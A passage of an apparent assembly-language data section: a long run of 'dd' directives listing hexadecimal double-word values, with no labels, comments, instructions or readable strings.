3599073Ah, 0F6D7B39h, 76AB9B56h dd 0C0B545A0h, 9F00A11Eh, 0D8B423F8h, 94DD3E87h, 911700h dd 0A06F2168h, 0D3028D32h, 0ADAB1D4h, 5F484040h, 9279h dd 34E6BFC6h, 46E9D539h, 0F56CCCA0h, 0A40FAA00h, 8710401Bh dd 83689049h, 0E1E6A19Bh, 1D4850D0h, 411DAC32h, 0CF409F8Bh dd 0C4532123h, 3860815Dh, 0D9B7DE60h, 8A973994h, 0B24DC400h dd 4203A013h, 6F7D0A0Fh, 68882BDBh, 0F4764314h, 3BE50056h dd 81AD83F4h, 5AF0ED2Fh, 0B64E6600h, 0D3E1E701h, 9C65039Dh dd 0C9F3B492h, 0DF2777B8h, 2209D900h, 114172C6h, 903E0644h dd 39E90F2Bh, 0BD780C00h, 12C4A361h, 0F6D20069h, 0E308519Bh dd 9A01B01Bh, 0ABE9100Eh, 0B6C448C4h, 6C230090h, 34B4F9EDh dd 0CF00C5A4h, 0EF21E972h, 651637h, 9A50758h, 223DBBF1h dd 20B3D100h, 5DF7CDA3h, 54990079h, 90AF65B5h, 3FFE7DCCh dd 53F31E1Eh, 1B19C49h, 0D2C9C2FEh, 0C4B95F4h, 0E2D1D538h dd 3A074510h, 667C5464h, 6A42C9E0h, 0C6B500CBh, 947861AAh dd 0E6777FAFh, 0C9F8AD1Eh, 48C2ECC7h, 8C368200h, 0D242127Dh dd 0FFD000DFh, 33383CE8h, 850B13FCh, 1DB93Bh, 0F28493B9h dd 598C0015h, 0F661F89Bh, 0C70056E9h, 2526DAFh, 5EC667h dd 58376B2Dh, 22A4669Eh, 7194CB00h, 0C27CC508h, 2C810053h dd 0B0E28919h, 5F004D3Bh, 6885C98Ah, 0F29938A0h, 0EC1D0162h dd 5B7AB122h, 0C68CDC1Ch, 0A5344816h, 7746391Fh, 0E040E361h dd 2D7D059Bh, 0AF3FB8F1h, 4E6ACE03h, 0CBD7D829h, 92C21883h dd 1CDD9030h, 65572F03h, 0D82E0805h, 2C69EBh, 7A114ECEh dd 48595A2h, 2FFD1400h, 3B23936h, 0C86800F2h, 6A98EC10h dd 24001B5Eh, 0FCE00815h dd 0F45518h, 7693CBAh, 0BD7E91D9h, 0F2AA9600h, 92C9A797h dd 219F0099h, 29DA7467h, 9B00C6B1h, 7FA6BBA9h, 3F832369h dd 143EC031h, 0AD535900h, 0E282BD9Eh, 0D4FF0600h, 0D94DB23Ah dd 972C003Dh, 738FA938h, 0A41FAD9Dh, 0E08F50C2h, 7EB8015Ch dd 89C0E48Dh, 0A02D003Ah, 1C583196h, 6B004197h, 0D26DF1ACh dd 0A9AE44h, 6DC8424h, 0EB987A2Bh, 4CD19E00h, 0CD86588h dd 0B31C0FECh, 0CF07F4CCh, 98A320FFh, 1E7869D1h, 86291300h dd 0B5E1C397h, 5720014Fh, 16AF71EDh, 0F656ECF0h, 0C0F2A700h dd 96884C4h, 500491BDh, 6B007D05h, 3037474Fh, 3B977CE7h dd 0A280AA65h, 3D452569h, 7912EE9Ch, 0FB05AF9Bh, 0EC4049E0h dd 0FE7A1927h, 3F0FAC5h, 2FDE5B8Bh, 0CE901FC0h, 0B4028514h dd 9529B38Eh, 334253h, 0FA72FCECh, 7E8B0021h, 6310F920h dd 6700C5ADh, 81062773h, 0CD3CFFh, 9CE857B4h, 682271C6h dd 89A6E400h, 32EE0716h, 12EF3F8Ch, 66E9B40Eh, 16180BEh dd 202878DEh, 7E5AA00h, 5995CE0Dh, 156800C0h, 1AD8071h dd 56003C92h, 0C2250747h, 28FDE5h, 4291BD73h, 7B35DCF6h dd 3798BC7Ch, 61A2840Eh, 5B41405Dh, 0E7623Dh, 66F703E0h dd 47CAB3D5h, 0F4DE5F05h, 0FC00AEBDh, 0F81F6D91h, 60340E64h dd 17A0F3A0h, 72CCDB30h, 67428F00h, 93820A2Dh, 0C31D0275h dd 0FDB6E728h, 0F880FD43h, 9400A865h, 1AC52654h, 0F22C9Ch dd 0D54E01EBh, 3A10987Bh, 0B806602h, 0C081B8FEh, 0E4A4BAh dd 1E36172Fh, 2D4316C1h, 0E6D76A00h, 0B17E61EFh, 0A8DEC7Bh dd 4C6B6993h, 0D63002C4h, 0D8A0C433h, 42740FE7h, 79B56C07h dd 72108C41h, 5253C6h, 20A701DDh, 45E4B743h, 0F35F1B1Eh dd 0C28D0FBBh, 7175E05Bh, 23D8196h, 49E6013h, 3840617Ah dd 0A002AE59h, 0CDBFD7E4h, 908FF786h, 0F0640012h, 1D924BF3h dd 0D267C107h, 0B4807261h, 1B6FD3h, 0D751ED22h, 0CFA6FBD0h dd 1DFCE63Ah, 23491AE7h, 1DB28064h, 716C7F93h, 85C600ECh dd 1B79330Bh, 0D2046F14h, 9BDA36F9h, 9D60C897h, 0E0EEECh dd 0AF909A92h, 4BE21371h, 0C187201h, 0BB265C42h, 4A0AE8h dd 35F58D1h, 750644BEh, 5D4EC70Ah, 1A07086Dh, 0C2006A20h dd 0F4812E8h, 0B03A193Ch, 3371B28Ch, 0DB004D7Bh, 420AA8Dh dd 140952h, 0BECE4A4Ch, 58969E64h, 0E9F05E7Ch, 0FE117667h dd 0DAC97080h, 5DBE0054h, 80C8EC32h, 4E001411h, 503081E8h dd 0F4995F5Ah, 221900B7h, 31870901h, 0C7283B38h, 9D0CD095h dd 50445A7Fh, 6EFC0019h, 63F46957h, 0DE007A89h, 3DAA4DC9h dd 0B05A0F43h, 0AE4200CEh, 94027174h, 5500DD0Ah, 0B227BDC1h dd 364C2C45h, 0A848137Fh, 3500317Eh, 0F008CD59h, 80555Eh dd 0A8899D94h, 6B3201AFh, 0D050F500h, 0C4162CCBh, 61E0F796h dd 1420007Bh, 8AB6F021h, 9E00591Fh, 1CFA073Ch, 0DA3D03h dd 627374BCh, 0D82D6985h, 0DF805602h, 829418C1h, 605D9AACh dd 423F89h, 3DABB5ACh, 0ACFFE20h, 2EDEF607h, 0A2B03957h dd 77648C53h, 0E46A0B4Dh, 2F00EC75h, 0CF806C55h, 0EA943Ch dd 2EDDAE0Bh, 30C2A9h, 0FEAAFFA4h, 8AA0581Ah, 79B5F226h dd 20E4803Eh, 2934173Dh, 0BDD300B3h, 0D6046158h, 1900E05Eh dd 8409F24Eh, 9B3473h, 6B938F24h, 3C47AA86h, 70E1251Eh dd 510D7480h, 4985D272h, 9E2B14B1h, 887C7E04h, 5FBBD623h dd 940552E0h, 59290598h, 38BAA442h, 5A304118h, 5B4010C6h dd 6E94002Fh, 23782CB1h, 0DD71F3D7h, 41C5C21Dh, 0B046DE47h dd 2135C853h, 6F081829h, 62399DDFh, 2203F922h, 55107BD4h dd 7521C351h, 4201A23Ch, 524476C0h, 15DC4411h, 445C0644h dd 28A1217Ah, 5F14410Dh, 8F081238h, 90650828h, 37908429h dd 814044Ah, 0E594476Ah, 0A0DE3F50h, 0A810EFADh, 8700174Dh dd 36C9A2AEh, 1D1A379Fh, 40A334B9h, 0E349B105h, 3300E692h dd 0B20667C7h, 28DBC5FBh, 0B008CED9h, 0D3EF1FC7h, 0F59F94h dd 7D89A21Ah, 50004514h, 54D92B25h, 0D88B63h, 2EADC168h dd 8683550Bh, 8EFDDC03h, 0E8B31589h, 0FA1B4Bh, 6C28339Ch dd 4F324031h, 0C766A700h, 3C41A278h, 98F17529h, 9DDB1237h dd 0A80040A4h, 3812322Ch, 0AB7E53Bh, 80E7C502h, 58217600h dd 7C5BBFh, 0F88A2B9Bh, 0FD5565F7h, 9F1B9701h, 0C3D140DDh dd 0EFC75887h, 31E10348h, 8D751000h, 76713CD2h, 0C8400326h dd 4AA7BD45h, 99D348D8h, 3726203h, 12BFC14Dh, 408674A8h dd 5044E554h, 1800EF29h, 98F5DDA1h, 770EBE2Bh, 0A9376096h dd 5CE9E379h, 95040801h, 559FA681h, 7A12C4h, 0DB5186EFh dd 9BF4022Dh, 96605D07h, 21A088BFh, 47D3C9h, 548AD411h dd 7D387549h, 53588E00h, 0DDEA3419h, 0A5953E31h, 6B16BA00h dd 0F6CACEAEh, 0D1190E0Eh, 92A760BDh, 0A4E995h, 80EFCF6Fh dd 0F69B7599h, 0BC91A300h, 6465BA04h, 0C40300BFh, 99A2FDEAh dd 73008F49h, 0F8591F2h, 0FEA463h, 770A9BAh, 0C5967CDBh dd 692EE800h, 3DC8BCA2h, 70D4A062h, 0DF910085h, 5F1005E7h dd 0A3008E68h, 9E0AEDD1h, 605A5Ch, 0AB3F2B1Dh, 9A3D8C34h dd 245D620Ah, 5B800831h, 0BC9D06CAh, 0D4ED2443h, 0B5B10038h dd 3025448Dh, 0A9C6BF1Dh, 0FD2A3280h, 0B7D615h, 117F17ABh dd 31225D04h, 1DD78D00h, 0F90F02A0h, 0CF1500F7h, 0DED242Ch dd 110F55ADh, 808EDBCDh, 0D518C559h, 890C4h, 0EDCF3EA3h dd 3FB4EF3Bh, 0D1B72106h, 2421F7CDh, 3648CC8h, 88F5228Ah dd 0F90019A6h, 0EF2156BFh, 4B63Dh, 0FE1BA4FDh, 770AD2CBh dd 0AC6BDF00h, 331497B8h, 7336245Ch, 4E4B016Ch, 0E465AA41h dd 0D20EE1ACh, 0F8AE1Ah, 0AFB91088h, 222F00FCh, 0A41464C7h dd 0FB030787h, 7566CD95h, 3BB29085h, 0CF4503A5h, 98BA1549h dd 9F5E2800h, 7CF6ECAEh, 74E900B3h, 690D0484h, 0F8C712DBh dd 0C1007F8Dh, 0AA4529h, 0B092E527h, 0FE5795F4h, 84CC511Eh dd 26BD1C80h, 2F4744A4h, 9A56CF49h, 0D62A2B00h, 7D3FD87h dd 0A89265B0h, 8BC1D0CAh, 2909A412h, 80D5E6E0h, 0C6FB9BD8h dd 50A60761h, 0D010FE6Fh, 7DD867F4h, 0EF84100h, 7E75F22Ch dd 65053B19h, 0E587FE00h, 5D167003h, 7F00EA73h, 669A4CD7h dd 6808B3h, 3BCFAC99h, 9DEF8D8Eh, 61D66300h, 47902B35h dd 56E71475h, 0E900C814h, 2FE5596Ah, 7000EB82h, 4376EEC5h dd 0D36225h, 0A556E9A9h, 5F0F93DAh, 58EBBE03h, 0C97F755Eh dd 2DD4A7C1h, 134FECCh, 57AE6A67h, 0DC87FC56h, 0A200F0D2h dd 79393590h, 277B0295h, 72544EB2h, 330F3A04h, 533B30C0h dd 0B60402E4h, 0A80F3C4h, 0BDF26CC8h, 76D2E61Ch, 3C03A9DEh dd 0C046094Bh, 869C06h, 683215CFh, 0BBDCEE7Ah, 26060376h dd 0FDBCEB0Fh, 398A0020h, 6BFC1C40h, 0B826945Dh, 0D6040FAEh dd 0D280455Fh, 1698BDh, 1D157F2Ch, 61517079h, 4159B8C0h dd 4D6A32h, 878BD25Bh, 0F28C2AA9h, 0F6E77A00h, 0A8E0CF81h dd 0DEF466h, 0EACD5130h, 0CCB97EA1h, 64908F77h, 0A4A53228h dd 5030CE60h, 59A1165Ch, 0EE3EDCF7h, 69D4FB03h, 80975BC2h dd 0A61790C0h, 11507101h, 21F76E56h, 81BA8844h, 0E04E616Dh dd 4A028D5Bh, 37FD9F96h, 57684029h, 8BD52AC0h, 0D38700F0h dd 551FF3Ch, 1501C406h, 7E3A62E6h, 0AEC09FE3h, 0B7E100DAh dd 0CF978B55h, 407642Dh, 548EC609h, 1ED0A690h, 5D313B9Ch dd 8956DB80h, 0C2233E6Dh dd 6722EB0Fh, 0CF0180B3h, 384A396h, 0A6702819h, 0AEA8A978h dd 5601B9ACh, 7ED9EDFFh, 4821FC91h, 0C3D4FDCh, 0B0033746h dd 49EA97A8h, 0E7F0A4EAh, 0FBC9E500h, 0F6B9B3F2h, 0BEF0070Ch dd 0BB15B286h, 0A7B3800h, 0D100BA6Dh, 8CF1F6D6h, 5802C684h dd 4200104Dh, 8597C294h, 2BFE2431h, 41E0B500h, 5F4E9BEAh dd 0B00Dh, 0CB991E2Fh, 0EE2269DEh, 97F71A0Ah, 7E05C8B8h dd 9C80070Ah, 9ACF06h, 0BF1D0C7Fh, 60A11CC9h, 2BFDE500h dd 5BC8AF51h, 0F30E07FEh, 3090572Dh, 0B3CE3DCDh, 529B9200h dd 508DEE01h, 13AEA17h, 8F6D144Fh, 8368D5FFh, 7A259F8h dd 0FBDDD0B6h, 0FC620053h, 63E47685h, 0F8004BB2h, 68071F3Ch dd 3070EC2Fh, 0F63893E2h, 66004326h, 0A91565A0h, 0E44173h dd 39D1CFD3h, 4FD2C608h, 0ACA1C1Ch, 157C4700h, 0C4AA2Ah dd 35955BD6h, 84433D61h, 0CEED4507h, 1700A32Eh, 88ADB9h dd 0A5F9210Dh, 0D0FA5A2Fh, 7F778600h, 10075803h, 1EC014E3h dd 7E00F0A8h, 0F9BDFA3Ah, 2F003769h, 0B406373h, 1CAC8203h dd 0C0722A2Dh, 3C23E9D3h, 20E5BD66h, 459F0BCh, 84642C7Ch dd 51120F80h, 1F8B6Eh, 9BE1D92Dh, 0AF2ABFAAh, 15D20C02h dd 0C2A3DD35h, 0DB080070h, 0B0A8749h, 816CC00Dh, 908F8009h dd 6DD2F02h, 95D4D4C8h, 0C69C4754h, 0AFBD600h, 8EDE8780h dd 9B030082h, 659A5632h, 0DF6AE01h, 6D3FBE07h, 64B00298h dd 0F9ADF6h, 0F272F7Bh, 15E34946h, 82704479h, 347A642Eh dd 594EEE80h, 4F39FBh, 66613099h, 43F241DBh, 17D25760h dd 70FFDA4h, 322F50D6h, 46EE50A8h, 200C719h, 662BDDDCh dd 125921C2h, 1F5B57Ch, 7FC0B668h, 94E7D0B7h, 0BBD21C00h dd 4C9CBDA1h, 6010045h, 2C14E034h, 6B0152AAh, 64E95408h dd 0F04076C2h, 0AFBBD93h, 23F94E35h, 3AA500DFh, 0B6B8D568h dd 41D02A00h, 31CFAFEBh, 1D0E050Bh, 0C0296BAAh, 7932A7A4h dd 0FA72B700h, 0DF7D8FC9h, 0B3BE1B2Fh, 0F3E02009h, 0BF07169Fh dd 5D658C91h, 0B9DA6BE0h, 30634C36h, 0C8549300h, 82CCE11Ch dd 0EE1800E1h, 514C48D8h, 69AB7101h, 0CCA20172h, 4A00F4C2h dd 53432275h, 0B064265Ah, 0E21B09C3h, 9881D1A2h, 0F8FE4FEFh dd 9216CC73h, 6C09F3DBh, 948B015Bh, 0AF4B9DDh, 4C3DFA5Eh dd 0EA009399h, 466F032h, 0D40039FEh, 609A2A82h, 136C0B6Eh dd 2A57C0Ch, 0A8E58F4Ch, 7B697CC0h, 0AE0014EEh, 71432D34h dd 3328AB4h, 9D2B39F7h, 7CE07307h, 5677AFA6h, 294D9500h dd 848BAA70h, 0E45D1CD1h, 6D3B4EC3h, 0D6143400h, 0B57248E1h dd 0B9C2B00h, 0CC085AC6h, 3DC948Bh, 0EE88A5FBh, 41C98097h dd 0AA0499A1h, 0DCE56AA3h, 7DBD69C0h, 0F4E103E6h, 0C11589B1h dd 0BC1D73C8h, 4106ACB8h, 0AFF489Ah, 7A780111h, 0B9A88ED2h dd 0DCCC30ACh, 14E1A301h, 90C3B8DFh, 6168CCh, 2517669Fh dd 7ED7FE4h, 1DB5A503h, 0D09086EFh, 5931Ch, 0F8E72E4Fh dd 0A76709C8h, 283074FCh, 0AD5A10F9h, 7BDE00B5h, 6E1413F1h dd 97745995h, 91D8A10Bh, 0FAB900EFh, 8AC4F7h, 33728853h dd 2A485845h, 89E52000h, 377B70F9h, 0D9BD0A52h, 0F42F25h dd 695A40A3h, 9600C8FFh, 1041D7F7h, 0FEF2716Ch, 777109h dd 1E974216h, 0B6483DADh, 9A03B4EAh, 8035B238h, 75DFF0CEh dd 680E08E2h, 13811070h, 414D64E6h, 0D13DDCh, 70DBA8Eh dd 8297DE11h, 0C39EF40Bh, 8D1F814Dh, 0E6F8B5FFh, 0C9D3005Ah dd 0BAC23BE2h, 660FE783h, 219E14E4h, 655914Ch, 75F89CF9h dd 8DEF120Ch, 0EAC41CDh, 0F8280DB1h, 4A03B34Dh, 508413DEh dd 18C1C555h, 40FEF29Dh, 26A3FA8h, 20B7FAFh, 38C0F632h dd 4D00AA39h, 1F799290h, 158B128Ah, 943AF534h, 0C9F4571Eh dd 44C8CBC3h, 0CDE2D8C2h, 5C007170h, 0C6E61821h, 0F808233h dd 0AB0355BEh, 1EC3140h, 9B004DD1h, 39E95D62h, 28F4C7F3h dd 0E8944F87h, 4DE802FDh, 279732FFh, 18F730E0h, 1E06B800h dd 0EEABD1A0h, 228A16BBh, 0AF580060h, 6F0FFE7Bh, 0AC2A1C0Ch dd 3EDF489Dh, 8DA667DEh, 328600C9h, 0B1D76B60h, 2A349100h dd 0A8833870h, 0A4E602F9h, 1513B8CFh, 9590E4C8h, 61A07800h dd 0E3AF0538h, 89DD0547h, 49CFA5h, 3291D6F6h, 52030B72h dd 14354D0Dh, 7A55E890h, 8C92009Dh, 0FF84D22Ah, 5900E9DFh dd 43C94F4Bh, 0EBE5B0h, 864E071h, 3825CB2Dh, 0F61E3898h dd 0B02A35C0h, 0A587C713h, 2A173501h, 0ABD81AA2h, 61DD0090h dd 0EBD0C5ACh, 450056B1h, 0C4295132h, 3DA81AB3h, 1803C3Eh dd 0ADD28BBCh, 833B2678h, 0B0772A34h, 9842D713h, 407A3843h dd 59B6D8F5h, 85BB0088h, 22CB4B0h, 94002DA7h, 0B7B9CFCCh dd 3A4A25h, 8462F89Ah, 0ECCB198Ch, 665A5601h, 9FA38911h dd 4A01F1F8h, 3A0016Eh, 308F2D57h, 0B1E2834h, 0C101B786h dd 9F17929h, 81B4DCh, 0FB87CE3Bh, 47F3751Bh, 0B6CB23Ah dd 3A5808h, 209EAC8Ch, 6AEA0087h, 887DED46h, 0AD00EB91h dd 0D7C1A30Ah, 39B8236h, 48CFBA80h, 21D0BB1Ah, 0A4070D28h dd 95CC3545h, 0EF19A210h, 1C71E0B4h, 645615E6h, 6AC8002Ch dd 0EADBC52Dh, 4CDFB500h, 0F26B2BACh, 0B76600D5h, 3488824Eh dd 9400538Ch, 5B8D90C5h, 0E8C302A4h, 0A20A3AACh, 61346E80h dd 820C98EAh, 9C244D00h, 2CEEC78Ch, 35300E8Eh, 90C037A3h dd 0F7D0B30Bh, 0F4269BA1h, 63007827h, 0DBA8877Fh, 0F235Eh dd 3D40AE68h, 9A8DE2E7h, 92003EFCh, 795F7320h, 1427DD24h dd 0B42CC717h, 0A6D80072h, 0CE304686h, 0C6043119h, 5A788454h dd 702FC282h, 0D61E17DCh, 47C2065h, 6B2D5025h, 0F11B407Dh dd 0C77A026Dh, 9E0867D3h, 2E1B1440h, 761D547Dh, 3B40480Dh dd 4EF3667Fh, 2DBB5CD5h, 20A5AB16h, 769D3244h, 2E839400h dd 34BFE90Eh, 67E885h, 7DDF3C64h, 0D5F34DECh, 3DA09E00h dd 8EFB1244h, 4072590Ah, 33CDD603h, 0D800F9A7h, 934AAFC9h dd 1F24CA3h, 219C1285h, 82FDFB08h, 0CA349720h, 0F2F4A01Dh dd 0E01802AAh, 0A4B807h, 2758609Ch, 41427506h, 4313F90Fh dd 2FEF406Bh, 0C10C6h, 0A88223DBh, 0E204B456h, 0F89F4731h dd 4CEC52C7h, 8EA005Fh, 0A43755DEh, 0F4010E4Bh, 0C5F99B88h dd 20206EBBh, 0D4D909DCh, 54407C21h, 0AB0731FFh, 0BEF109C7h dd 0C1BFE2F2h, 4DC0EB49h, 67AE1FE5h, 383589F9h, 3609420h dd 5761F3E6h, 0D92E1350h, 0C843AD8h, 5A4DEAF2h, 594FFE28h dd 480298ECh, 6330A3BFh, 0E6BD9490h, 0E497B600h, 0BE2440C2h dd 0C6A330BCh, 1C04A250h, 68AD7317h, 33B18C00h, 4029CB3h dd 0B75D4F3Ah, 91DCC076h, 41003003h, 0CF154878h, 8A3BA2h dd 0A1386636h, 0B3AB4451h, 908F7607h, 1B02EBh, 0A483CD50h dd 2E6902D3h, 8A896CBBh, 0B0D4E480h, 72FF3BADh, 0AF9B027Ch dd 0C03FA93Dh, 0CD1C07h, 776B0799h, 0DF8EF039h, 1698EF05h dd 8143A5Dh, 81433E3Ch, 0CBA93460h, 20E4A21Ah, 2E4AE1h dd 56742BB4h, 1600AE6Ah, 6EF384F5h, 765FE8h, 36CCC8F0h dd 0D5FE0ABFh, 4F001070h, 95E64EA7h, 264B9D15h, 40A91Dh dd 0D51835B1h, 9002117Dh, 5ADE2EE7h, 0BDBC806Ch, 0D4322Ch dd 2F240562h, 102343A2h, 58BEFF05h, 4080C2A6h, 7A092811h dd 2A0E2849h, 8A2F0FE0h, 0B8801E15h, 3C9EF8A1h, 0B0EEF000h dd 0D6AA33D5h, 0D1B6009Bh, 45FEFA76h, 70C15972h, 0CE9A3036h dd 0D209F4h, 4CBE3EB7h dd 0D01BD425h, 0C320A900h, 71FE2A86h, 0DED600F9h, 74410FFBh dd 8A0D7A2h, 0F402B23Bh, 9190D52Ah, 72C4E099h, 0A5FF00F0h dd 2C124BF1h, 7005051h, 0BA20BD1Dh, 0F75BD6h, 47988D76h dd 0DAC6A922h, 413CA600h, 3872FB4Fh, 0EFB865h, 9A21B61h dd 0EF279930h, 56289400h, 0B5FCECCDh, 0A1860031h, 6A6C022Dh dd 4702AB12h, 36457D14h, 7544C049h, 0AFE33B1Dh, 420FDE80h dd 0C278B0E9h, 8E105300h, 4FAEE115h, 0F1C30056h, 0A78D7A88h dd 691C9291h, 6584AC22h, 18C0BECFh, 3FAFE606h, 0E7009EBAh dd 0A5E00764h, 670080CCh, 8A6DB2F8h, 0C6D6D0h, 89F430A0h dd 79255A9Ah, 8A004F2h, 0BC097B23h, 0A9B7EE1h, 9C028C64h dd 60ACA915h, 19E3040h, 6B99BB37h, 605AA110h, 0A004B21h dd 0C7FF59DDh, 792287Dh, 0A4D12697h, 9181E03Bh, 5C004DF6h dd 0EE4F017Eh, 25724EBh, 3314841Ah, 0A0FA83FDh, 480330A4h dd 5BBF61D0h, 0C14FFF93h, 0C94CED1Fh, 3F4DC8D4h, 4A0086D8h dd 0A1C6BC95h, 0A200F1AAh, 0CD9B7650h, 0F2B278EEh, 0E6BE37FAh dd 1C600A58h, 549BC0F0h, 85CA499h, 0B109B3EAh, 0C1BD1353h dd 0EAFC3D50h, 0B3807D5h, 94A75C9Eh, 7B20C0FAh, 6F003037h dd 0EA910976h, 0A01DA8h, 8C4064BEh, 6B37A4A2h, 6FF86507h dd 0B3076CE0h, 0AA3E9F30h, 0AEA7004Bh, 8FE90A4Dh, 23E8CB02h dd 0D33C6090h, 0C76500B8h, 73B4954Ch, 5AE4F5h, 4A594DBEh dd 3E03981Eh, 92007873h, 0C915DB84h, 0CC2A96h, 0CD25DCABh dd 140EAFD5h, 84D40200h, 23B7EEBFh, 0EC95005Eh, 7A2B2A6Dh dd 6E1F570Fh, 4604B320h, 1C80C1D3h, 5B4232h, 0DAEDB27Fh dd 716C33FFh, 0BBA4F100h, 52796F0Ch, 2A7B1E5Fh, 5419D4Ch dd 0C1FA269Fh, 8E3AE9B5h, 40772811h, 0B5491DAh, 21C9029h dd 1AA421B8h, 70C0EC52h, 43848E2h, 2BC1C6Ah, 0F8319A00h dd 24DF87B0h, 1494C94Dh, 7102AC23h, 86522199h, 0A2800843h dd 3B266148h, 701083Ah, 60809313h, 2E231020h, 9F06E7Ah dd 6C8054A4h, 0A13CC75h, 8048392Fh, 0F47DAE9Ch, 85F009Eh dd 2927AA40h, 0AD038EC0h, 5D72A374h, 8976A194h, 709D4420h dd 0D46D00D0h, 195F4707h, 0C900F6D3h, 546EE560h, 1F785B43h dd 1CE26BD8h, 66A000F0h, 7C2F4875h, 0A377401Bh, 0CDE29810h dd 0AB05009Fh, 0F6A5CC97h, 80F15293h, 0B7170621h, 124FCE1h dd 0ECC4E0Bh, 0C491F2C4h, 4D008784h, 0B70D2147h, 3B0B12Ah dd 0B585FDA1h, 82E85AABh, 0D8003677h, 3CDEEA7Ah, 0EC664Bh dd 0BA9574DAh, 0E65EB4E7h, 0A64C6201h, 0E3F4BD23h, 2308B20h dd 0B617EC14h, 0C840799Bh, 6E00896Ah, 0CF81CB1Fh, 0EDBF6Ch dd 0ACD2DFF6h, 31A439D0h, 4B9BE800h, 370DBB1Ah, 0F8577E02h dd 42E90ECDh, 801D6E61h, 0F8453A93h, 970B76C2h, 0E05625EBh dd 6D4521Ch, 575BAE9h, 70B61A36h, 34678800h, 4824DDh, 97F27695h dd 1873B64Dh, 997D3B0Fh, 8B445h, 0EFA79F87h, 0D65CF8h dd 16281A77h, 0C70AD33Ch, 7D5D8000h, 0CDFA0239h, 3150074Ah dd 618C1B44h, 32AFEAC9h, 747E2600h, 800D030Bh, 0C1CB60C0h dd 8C800190h, 0C0CC3879h, 6A646062h, 0C478EF00h, 86F19352h dd 8E20148h, 5F14CEF3h, 0A3B460D5h, 0D6F22D00h, 0B91C94CAh dd 30E25859h, 4A8FEA00h, 53337296h, 0BD955A00h, 761093E7h dd 8772F9h, 0B5A52331h, 0BAFA4BA3h, 0DC0FB900h, 0EFAD19DDh dd 664602BDh, 51D30ABBh, 0C4214860h, 89BFE600h, 7FB193ACh dd 0EB6203EDh, 0C6F16955h, 0C97A46E1h, 0DCA7CC95h, 840FD77Eh dd 0E0CE22A2h, 0D65F639Ch, 0B4C70196h, 4198323Fh, 6878E8h dd 0A01A6188h, 9A351Ch, 4CF10FBDh, 11A73963h, 0B8821F00h dd 0B322FF70h, 8035076Fh, 500849BAh, 9C196B50h, 6677E00h dd 336D523Bh, 25970E0Eh, 0C3FE4138h, 0FA6E6950h, 7B586800h dd 0FDEF8573h, 46E705CFh, 919AF31Ah, 0E166E100h, 79F7F088h dd 1985FC31h, 2040C009h, 1DA4C7AFh, 0C85144h, 9431F340h dd 0F07C536Eh, 23BDD925h, 0E0FD7FA0h, 9645381Ah, 0E33B86C4h dd 0B80021D2h, 56FA9F27h, 247B4CADh, 9852Fh, 8EA1BBCFh dd 1CA0483Bh, 10E3EED9h, 1D4CCD42h, 0C956A02h, 0B1603E1Eh dd 23617C00h, 0AA0CFD7h, 0FFF900E4h, 0C9D4E1DEh, 0BE032C03h dd 2DC62545h, 0EDF7E804h, 0DDF03BDh, 0FE09E7C3h, 372403B8h dd 0ADAB6C06h, 717305h, 8F8C75BBh, 47B3F435h, 45F59D00h dd 0B9F0DBE0h, 48380C15h, 3EA836C5h, 27B2C700h, 9DA0E3A8h dd 38090064h, 37297D44h, 794B58DEh, 5F3B5CD0h, 32D70167h dd 700EC1E7h, 71BC7Dh, 0AF0A0C66h, 523F662h, 97BA8E42h dd 43CAC70Fh, 0D1CB4D1Ch, 2BC04900h, 0BF50817Ch, 38430735h dd 400F7E7Fh, 89C5235Fh, 0AC0033ECh, 53C744BAh, 0EAA30E6Ch dd 23B8ECh, 0E38B6179h, 6DE78646h, 59C0B17Dh, 96F57F82h dd 0F9CA0015h, 1941E72h, 0C3C500Bh, 8A709916h, 76D8E0B1h dd 97B11615h, 0A1750007h, 4C26E447h, 5BA1300h, 0B06AD6A0h dd 1CAE4DAh, 0E40753C5h, 0F3C93F3Ah, 9B1CA9F8h, 13E3B100h dd 8A532376h, 2EBE3B42h, 6738433Ah, 4C0FDC3Fh, 0ADC09F7Fh dd 935E8DBh, 0B8EC2A0Fh, 0B4794361h, 7390039h, 0D128B212h dd 0A219BF09h, 0FF086186h, 3D8C2180h, 93CC33B2h, 5BB11E00h dd 6DEAE41Ah, 6371002Fh, 0ED5E96CBh, 0BFF8B646h, 2D4380C1h dd 40BC892Eh, 7C342A0Fh, 0C087A340h, 1F3A0B4Ch, 0B12C30C3h dd 0F75ACFFh, 3F515B44h, 130BE5A1h, 0FC809D06h, 0BD3B2F40h dd 3B7DDE22h, 89006DA3h, 0A54923ADh, 0BA1F1930h, 0CE800E37h dd 4D4BEDD5h, 0DB58E8E0h, 480160A0h, 4FA4D657h, 18814B92h dd 0B6F0634h, 0DE2180BCh, 56384943h, 315FEC62h, 0C4087A39h dd 0FD208068h, 0DCCD493Ch, 0E9FF0052h, 9E25F71Eh, 0AE03E5F0h dd 0BC6AB5A8h, 8263977Ch, 2279015Dh, 0E8111304h, 0C393702Ah dd 3059E23Fh, 2C1D21BBh, 877313h, 1EC873FDh, 6FB5054Dh dd 0A876DE30h, 81C657h, 1B331D0Eh, 0EBD53B3Fh, 0F5D61E00h dd 0B58B6BB7h, 0C3EF0041h, 1BF85632h, 78007AFCh, 3F4FCCF1h dd 2747D5Ch, 196F7E5Dh, 85E0188Ah, 0CC25A486h, 1E68D855h dd 0C003259Bh, 699337E0h, 76004BAFh, 6E134EC3h, 756EEA5h dd 989EBF8Dh, 4797404Fh, 0A604C632h, 5E107E6h, 25635D81h dd 957BDCh, 64FCFB37h, 2DDD2256h, 0F2AC900h, 0D71F0146h dd 80FF3D87h, 0C2FDA800h, 3C5F75C6h, 1A683Ch, 7A66ADA6h dd 36DB09h, 0B3673EF5h, 615C6D59h, 7807A000h, 1565B5ECh dd 9DD90019h, 7B810E3Fh, 5702EEF4h, 0B5E576DBh, 0A01860E8h dd 0AE543AA7h, 4100E93Ch, 1ACA379Eh, 40184C84h, 0DD0897E2h dd 6F20C1A3h, 0DC7B3786h, 8F0053BBh, 44E3908Dh, 0B0782F54h dd 0F7550C8Fh, 6151B366h, 2292FF00h, 6EF8B63h, 0DAAE01F0h dd 0FAE47C76h, 0FC881A9h, 0F559115Ch, 49A03087h, 0B9EB30A4h dd 54339583h, 0B6DB0947h, 0CCA93920h, 0C5858780h, 3689EEAh dd 5AA32E13h, 3C551900h, 50245E5Bh, 0E8E8CD9h, 40E654E8h dd 292F10D8h, 0F87F5100h, 41A6431Fh, 39A400A8h, 77DD6A04h dd 0B019E73h, 0F525C916h, 7D02727Ch, 528604B5h, 10B1E7h dd 80C2EB54h, 7019294h, 0DB09AC7Eh, 8C4D78h, 53C2722h dd 